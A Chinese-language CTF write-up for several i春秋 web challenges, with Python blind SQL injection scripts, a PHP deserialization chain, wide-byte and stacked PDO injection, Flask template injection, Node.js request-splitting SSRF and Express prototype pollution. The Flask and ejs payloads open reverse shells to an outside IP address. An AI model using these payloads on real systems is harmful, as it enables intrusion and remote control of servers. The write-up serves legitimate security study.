i春秋 web 简单的招聘系统 sqlmap直接出来
flag{2f52809e-f46c-4638-8f72-b24ec1ec6d06}
盲注 过滤union,<,>,=
构造http://75087ef5ae2c4685b155e915c62d0060b48ad2be758e45d8.changame.ichunqiu.com/?id=1 and if(hex(substr(fl4g,1,1))-1,sleep(5),0)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requests'http://75087ef5ae2c4685b155e915c62d0060b48ad2be758e45d8.changame.ichunqiu.com/?id=1%20and%20if(hex(substr(fl4g,POS,1))-GUESS,sleep(5),0)' result="666c61677b32363837656433302d356266382d343033662d383732342d61643239" l=len (result) while True : ended=True l+=1 for i in range (16 ): sql='http://ecd3dce145d342fd9d490cde15ef8239b1e8b5763640437a.changame.ichunqiu.com/?id=0%2bif(conv(substr(hex(fl4g),POS,1),16,10)-GUESS,1,sleep(5))' sql=sql.replace("POS" ,str (l)) sql=sql.replace("GUESS" ,str (i)) try : requests.get(sql,timeout=5 ) print (sql) except : result+=hex (i)[2 :] print (result) ended=False break if ended: break
ezsqli 黑名单:union.*select,or,in
因为盲注太麻烦,所以想用preg回溯次数来绕过,但是没用,最后也只能盲注了
用0 ^ (1=0)
来盲注,因为过滤了in
所以用sys系统库来绕过(https://xz.aliyun.com/t/7169#toc-53
)
0 ^ (select substr(hex(group_concat(table_name)),1,1) from (SELECT table_name FROM sys.schema_table_statistics WHERE table_schema=database() GROUP BY table_name)a)
获取表名之后,还有一个难点就是,列名的获取,但是获取列名会用到in
字符
因此考虑,无列名注入union select
那个肯定不行
我们利用((select 1,GUESS)>(select * from f1ag_1s_h3r3_hhhhh))
来获取flag
当我们利用这个时,我们必须保证某一个相等,才能通过另外一个判断flag
有一点要注意的是
1 2 3 4 5 6 mysql> select 'f'='F'; +---------+ | 'f'='F' | +---------+ | 1 | +---------+
用这种方法是无法区分大小写的,所幸这次比赛的flag都是小写
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import requestsimport stringsql="1 ^ ((select substr(hex(group_concat(table_name)),POS,1) from (SELECT table_name FROM sys.schema_table_statistics WHERE table_schema=database() GROUP BY table_name)a)=GUESS)" result="" l=len (result) while True : l+=1 ended=True for j in range (32 ,128 ): i=chr (j) sql="0 ^ ((select 1,GUESS)>(select * from f1ag_1s_h3r3_hhhhh))" sql=sql.replace("POS" ,str (l)) sql=sql.replace("GUESS" ,'0x' +(result+i).encode("hex" ).upper()) res=requests.post("http://c957eb4253fb4275856dc45eb06d11ab05103bcf405348ab.changame.ichunqiu.com/index.php" ,data={"id" :sql}) print (sql) if "Hello Nu1L" in res.text: result+=chr (ord (i)-1 ) print (result) ended=False break if ended: break
babyphp 1 2 3 4 class info:__call public function __call($name,$argument){//反序列化 echo $this->CtrlCase->login($argument[0]); }
flag在flag.php中
文件读取点:
1 2 3 4 class User public function __destruct () { return file_get_contents($this ->nickname); }
1 2 3 4 if ($_SESSION ['login' ]===1 ){ require_once ("flag.php" ); echo $flag ; }
现在有两种思路:
反序列化读取文件
sql注入拿到管理原密码,来读取文件(x)
无论想干啥都得先登陆,但是不知道咋登陆
考虑反序列化
如果我们成功登陆,攻击入口就是update.php
1 2 3 4 5 6 7 8 9 10 if ($_SESSION ['login' ]!=1 ){ echo "你还没有登陆呢!" ; } $users =new User();$users ->update();if ($_SESSION ['login' ]===1 ){ require_once ("flag.php" ); echo $flag ; }
比较奇怪的是,按我所知,想要反序列化就要登陆,登陆的话他们就自己打出flag了,所以没有反序列化的必要?
认真看下好像没有die
1 2 3 if ($_SESSION ['login' ]!=1 ){ echo "你还没有登陆呢!" ; }
反序列化的起点是:$Info=unserialize($this->getNewinfo());
终点是:
1 2 3 4 class user public function __destruct () { return file_get_contents($this ->nickname); }
或
1 2 3 4 class Info public function __call ($name ,$argument ) { echo $this ->CtrlCase->login($argument [0 ]); }
因为__destruct
的数据不知道怎么拿出来,我先考虑sql注入
如果,老老实实让他们序列化Info
,好像啥都干不了
想办法利用safe
函数在Info
里面插个类,插个UpdateHelper
然后利用其__destruct
方法调用User
的__toString
函数,
再调用login
方法,最后执行sql语句
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 function safe ($parm ) { $array = array ('union' ,'regexp' ,'load' ,'into' ,'flag' ,'file' ,'insert' ,"'" ,'\\' ,"*" ,"alter" ); return str_replace($array ,'hacker' ,$parm ); } class User { public function update ( ) { $Info =unserialize($this ->getNewinfo()); $age =$Info ->age; $nickname =$Info ->nickname; $updateAction =new UpdateHelper($_SESSION ['id' ],$Info ,"update user SET age=$age ,nickname=$nickname where id=" .$_SESSION ['id' ]); } public function getNewInfo ( ) { $age =$_POST ['age' ]; $nickname =$_POST ['nickname' ]; return safe(serialize(new Info($age ,$nickname ))); } public function __destruct ( ) { return file_get_contents($this ->nickname); } public function __toString ( ) { $this ->nickname->update($this ->age); return "0-0" ; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 Class UpdateHelper { public $id ; public $newinfo ; public $sql ; public function __construct ($newInfo ,$sql ) { $newInfo =unserialize($newInfo ); $upDate =new dbCtrl(); } public function __destruct ( ) { echo $this ->sql; } }
脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 <?php Class UpdateHelper { public $id =0 ; public $newinfo ="" ; public $sql ; public function __construct ($sql ) { $this ->sql=$sql ; } } class Info { public $age ="" ; public $nickname ="" ; public $CtrlCase ; public function __construct ( ) { $this ->CtrlCase=new dbCtrl(); } } class dbCtrl { public $hostname = "127.0.0.1" ; public $dbuser = "noob123" ; public $dbpass = "noob123" ; public $database = "noob123" ; public $name ="admin" ; public $password ="1" ; public $mysqli ; public $token ; } class User { public $id =0 ; public $age ; public $nickname ; public function __construct ( ) { $this ->nickname=new Info(); $this ->age='select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?' ; } } function escape ($str ) { $evil ='' ; $len =strlen($str )+2 ; if ($len %2 ) { $evil .="union" ; $len -=1 ; } $len /=2 ; while ($len ) { $evil .="load" ; $len -=1 ; } return $evil .'";' .$str ; } $call__tostring =new UpdateHelper(new User());$ser = urlencode(serialize($call__tostring ));echo urlencode(escape("s:8:\"CtrlCase\";" .urldecode($ser ).';};' ));
flag{7989f259-3281-4c1c-8939-dc8bc0b5375b}
easysqli_copy 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php function check ($str ) { if (preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i' ,$str ,$matches )) { print_r($matches ); return 0 ; } else { return 1 ; } } try { $db = new PDO('mysql:host=localhost;dbname=pdotest' ,'root' ,'******' ); } catch (Exception $e ) { echo $e ->getMessage(); } if (isset ($_GET ['id' ])) { $id = $_GET ['id' ]; } else { $test = $db ->query("select balabala from table1" ); $res = $test ->fetch(PDO::FETCH_ASSOC); $id = $res ['balabala' ]; } if (check($id )) { $query = "select balabala from table1 where 1=?" ; $db ->query("set names gbk" ); $row = $db ->prepare($query ); $row ->bindParam(1 ,$id ); $row ->execute(); }
利用宽字节来逃出引号包围,payload:%bf%27;
但是没有找到有效的sql时间盲注语句,正则来延时也没用,加上select被过滤,
我缺少了一个关键的知识
在学长的提示下,被认为不可以堆叠注入的pdo居然可以(我哪来的认知????)
然后就简单了
1 set @t=0x73656C65637420736C65657028313029;PREPARE sqla from @t;EXECUTE sqla;
python脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import requestsdef sql_inj (sql ): sql="0x" +sql.encode("hex" ) tpl="set @t=TGT;PREPARE sqla from @t;EXECUTE sqla;" .replace("TGT" ,sql) url="http://b0ae8f49254247b8815616a4711941f17f2a145a8a374167.changame.ichunqiu.com/" param={ "id" :"\xbf\x27;" +tpl } requests.get(url,params=param,timeout=2 ) result="" count=1 +len (result) while True : lock=0 for i in "0123456789ABCDEF" : try : sql="select if(substr(hex(group_concat(COL)),POS,1)='GUESS',sleep(3),0) from TABLE WHERE" .replace("COL" ,"fllllll4g" ) sql=sql.replace("GUESS" ,i).replace("TABLE" ,"table1" ) sql=sql.replace("WHERE" ,"" ) sql=sql.replace("POS" ,str (count)) sql_inj(sql) print (sql) except : result+=i print (result) lock=1 break if not lock: break count+=1
black_list 这题让我学到一个骚操作和看到一篇好文章
1 return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
利用堆叠注入查询
1 2 3 4 5 6 7 8 9 array(1) { [0]=> string(8) "FlagHere" } array(1) { [0]=> string(5) "words" }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 1';show create table words;# array(2) { [0]=> string(5) "words" [1]=> string(114) "CREATE TABLE `words` ( `id` int(10) NOT NULL, `data` varchar(20) NOT NULL ) ENGINE=MyISAM DEFAULT CHARSET=utf8" } 1';show create table FlagHere;# array(2) { [0]=> string(8) "FlagHere" [1]=> string(93) "CREATE TABLE `FlagHere` ( `flag` varchar(100) NOT NULL ) ENGINE=MyISAM DEFAULT CHARSET=utf8" }
利用handler来读取数据
1';handler FlagHere open;handler FlagHere read first;#
flaskapp {{1+1}}
过滤import,os
1 2 3 4 {{''|attr('_'+'_class_'+'_')|attr('_'+'_ba'+'se_'+'_')}} {{''|attr('_'+'_class_'+'_')|attr('_'+'_ba'+'se_'+'_')|attr('__subcl'+'asses__')()}} {{''|attr('_'+'_class_'+'_')|attr('_'+'_ba'+'se_'+'_')|attr('__subcl'+'asses__')()|attr('__dict__')}} {{config.__class__.__mro__[1].__subclasses__()[-2].__init__.__globals__['o'+'s'].__dict__['sys'+'tem']('echo aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zCnM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pCnMuY29ubmVjdCgoIjM5LjEwOC4xNjQuMjE5Iiw2MDAwMykpCm9zLmR1cDIocy5maWxlbm8oKSwwKQpvcy5kdXAyKHMuZmlsZW5vKCksMSkKb3MuZHVwMihzLmZpbGVubygpLDIpCnA9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0p|base'+'64 -d | python')}}
node_game https://github.com/nodejs/node/issues/13296
https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/
这题有个upload函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 app.post('/file_upload' , function (req, res ) { var ip = req.connection.remoteAddress; var obj = { msg : '' , } if (!ip.includes('127.0.0.1' )) { obj.msg="only admin's ip can use it" res.send(JSON .stringify(obj)); return } fs.readFile(req.files[0 ].path, function (err, data ) { if (err){ obj.msg = 'upload failed' ; res.send(JSON .stringify(obj)); }else { var file_path = '/uploads/' + req.files[0 ].mimetype +"/" ; var file_name = req.files[0 ].originalname var dir_file = __dirname + file_path + file_name if (!fs.existsSync(__dirname + file_path)){ try { fs.mkdirSync(__dirname + file_path) } catch (error) { obj.msg = "file type error" ; res.send(JSON .stringify(obj)); return } } try { fs.writeFileSync(dir_file,data) obj = { msg : 'upload success' , filename : file_path + file_name } } catch (error) { obj.msg = 'upload failed' ; } res.send(JSON .stringify(obj)); } }) })
但是需要本地访问
有一个ssrf的点:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 app.get('/core' , function (req, res ) { var q = req.query.q; var resp = "" ; if (q) { var url = 'http://localhost:8081/source?' + q var trigger = blacklist(url); if (trigger === true ) { res.send("<p>error occurs!</p>" ); } else { try { http.get(url, function (resp ) { resp.setEncoding('utf8' ); resp.on('error' , function (err ) { if (err.code === "ECONNRESET" ) { console .log("Timeout occurs" ); return ; } }); resp.on('data' , function (chunk ) { try { resps = chunk.toString(); res.send(resps); }catch (e) { res.send(e.message); } }).on('error' , (e ) => { res.send(e.message);}); }); } catch (error) { console .log(error); } } } else { res.send("search param 'q' missing!" ); } })
我们利用nodejs 8及之前的utf-8
转latin1
的漏洞来进行ssrf
1 2 > http.get('http://example.com/\u010D\u010A/test').output [ 'GET /čĊ/test HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' ]
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import hashlibfrom urllib.parse import quote, unquoteimport requestsimport socket file='''------WebKitFormBoundaryVneK8P7cpLasJSn8 Content-Disposition: form-data; name="file"; filename="a.pug" Content-Type: ../template doctype html html head body include ../../../../../../flag.txt ------WebKitFormBoundaryVneK8P7cpLasJSn8-- ''' .replace("\r\n" ,"\n" ).replace("\n" ,"\r\n" )body=''' HTTP/1.1 Host: x Connection: keep-alive POST /file_upload HTTP/1.1 Host: x Content-Length: %d Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVneK8P7cpLasJSn8 Connection: keep-alive %s GET /core HTTP/1.1 Host: x Connection: keep-alive x:''' %(len (file),file)body=body.replace("\r\n" ,"\n" ).replace("\n" ,"\r\n" ) uni = { '/' : quote('\u012f' .encode('utf-8' )), ' ' : quote('\u0120' .encode('utf-8' )), '\n' : quote('\u010a' .encode('utf-8' )), '\r' : quote('\u010d' .encode('utf-8' )), '"' : quote('\u0122' .encode('utf-8' )), "'" : quote('\u0127' .encode('utf-8' )), '!' : quote('\u0121' .encode('utf-8' )), 'o' : quote('\u016f' .encode('utf-8' )), 'e' : quote('\u0165' .encode('utf-8' )), } print (uni)host="" payload = '%s' % body for c, encoded in uni.items(): payload = payload.replace(c, encoded) print (payload)requests.get("http://123.57.212.112:33321/core?q=" +payload)
flag{8ed05e41-c306-4f0f-a958-6759f66890e9}
ezExpress https://xz.aliyun.com/t/7184#toc-7
https://xz.aliyun.com/t/6113#toc-4
1 2 3 4 5 router.post('/action', function (req, res) { if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} req.session.user.data = clone(req.body); res.end("<script>alert('success');history.go(-1);</script>"); });
类似js原型链污染的点
但是需要req.session.user.user==ADMIN
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 router.post('/login' , function (req, res ) { if (req.body.Submit=="register" ){ if (safeKeyword(req.body.userid)){ res.end("<script>alert('forbid word');history.go(-1);</script>" ) } req.session.user={ 'user' :req.body.userid.toUpperCase(), 'passwd' : req.body.pwd, 'isLogin' :false } res.redirect('/' ); } else if (req.body.Submit=="login" ){ if (!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>" )} if (req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){ req.session.user.isLogin=true ; } else { res.end("<script>alert('error passwd');history.go(-1);</script>" ) } } res.redirect('/' ); ; }); function safeKeyword (keyword ) { if (keyword.match(/(admin)/i s)) { return keyword } return undefined }
谷歌找到https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
,关于toUpperCase
的一些特性,来绕过safeKeyword
payload:userid=adm%C4%B1n&pwd=a&action=login&Submit=register
| admın
最后污染ejs
来拿到flag(https://xz.aliyun.com/t/6113#toc-4
)
1 {"Submit":"","lud":1,"__proto__":{"outputFunctionName":"a; global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/39.108.164.219/60003 0>&1\"');//"}}
easy_thinking www.zip下载源码
输入不存在的路径发现是tp6.0.0,刚好有个session直接写的漏洞
全局搜索session,发现
1 2 3 4 5 $record = session("Record" ); if (!session("Record" )) { session("Record" ,$data ["key" ]); }
然后getshell